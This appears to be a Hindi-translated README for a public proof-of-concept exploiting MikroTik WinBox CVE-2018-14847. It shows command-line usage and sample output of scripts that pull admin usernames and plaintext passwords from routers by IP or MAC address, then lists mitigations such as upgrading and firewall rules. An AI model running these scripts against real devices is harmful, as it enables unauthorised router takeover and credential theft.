WinboxExploit

यह महत्वपूर्ण WinBox भेद्यता (CVE-2018-14847) का एक प्रूफ ऑफ कॉन्सेप्ट है जो सादे पाठ पासवर्डों के मनमाने फ़ाइल पढ़ने की अनुमति देता है।

ब्लॉग पोस्ट

यह स्क्रिप्ट Python 2.x या उससे निचले संस्करण के साथ नहीं चलेगी।

स्क्रिप्ट का उपयोग कमांड लाइन में सरल तर्कों के साथ किया जाता है।

भेद्यता का शोषण करें और पासवर्ड पढ़ें।

python3 WinboxExploit.py <IP-ADDRESS> [PORT]

उदाहरण:

$ python3 WinboxExploit.py 172.17.17.17
Connected to 172.17.17.17:8291
Exploit successful
User: admin
Pass: Th3P4ssWord

आप फ़ाइलें तब भी निकाल सकते हैं जब डिवाइस के पास IP पता न हो।

स्थानीय रूप से जुड़े Mikrotik उपकरणों के लिए सरल खोज जाँच।

python3 MACServerDiscover.py

उदाहरण:

$ python3 MACServerDiscover.py
Looking for Mikrotik devices (MAC servers)

    aa:bb:cc:dd:ee:ff 

    aa:bb:cc:dd:ee:aa

भेद्यता का शोषण करें और पासवर्ड पढ़ें।

python3 MACServerExploit.py <MAC-ADDRESS>

उदाहरण:

$ python3 MACServerExploit.py aa:bb:cc:dd:ee:ff

User: admin
Pass: Th3P4ssWord

2015-05-28 से 2018-04-20 तक के सभी RouterOS संस्करण इस शोषण के प्रति संवेदनशील हैं।

Mikrotik उपकरण जो RouterOS संस्करण चला रहे हैं:

अधिक जानकारी के लिए देखें: https://blog.mikrotik.com/security/winbox-vulnerability.html

राउटर को एक RouterOS संस्करण में अपग्रेड करें जिसमें सुधार शामिल हो।
राउटर पर WinBox सेवा अक्षम करें।
आप निम्नलिखित के साथ WinBox सेवा तक पहुँच को विशिष्ट IP-पतों तक प्रतिबंधित कर सकते हैं:

/ip service set winbox address=10.0.0.0/8,172.16.0.0/12,192.168.0.0/16

आप WinBox सेवा तक बाहरी पहुँच को अस्वीकार करने के लिए कुछ फ़िल्टर नियम (ACL) का उपयोग कर सकते हैं:

/ip firewall filter add chain=input in-interface=wan protocol=tcp dst-port=8291 action=drop

mac-winbox सेवा तक पहुँच को अनुमत इंटरफ़ेस निर्दिष्ट करके सीमित किया जा सकता है:

/tool mac-server mac-winbox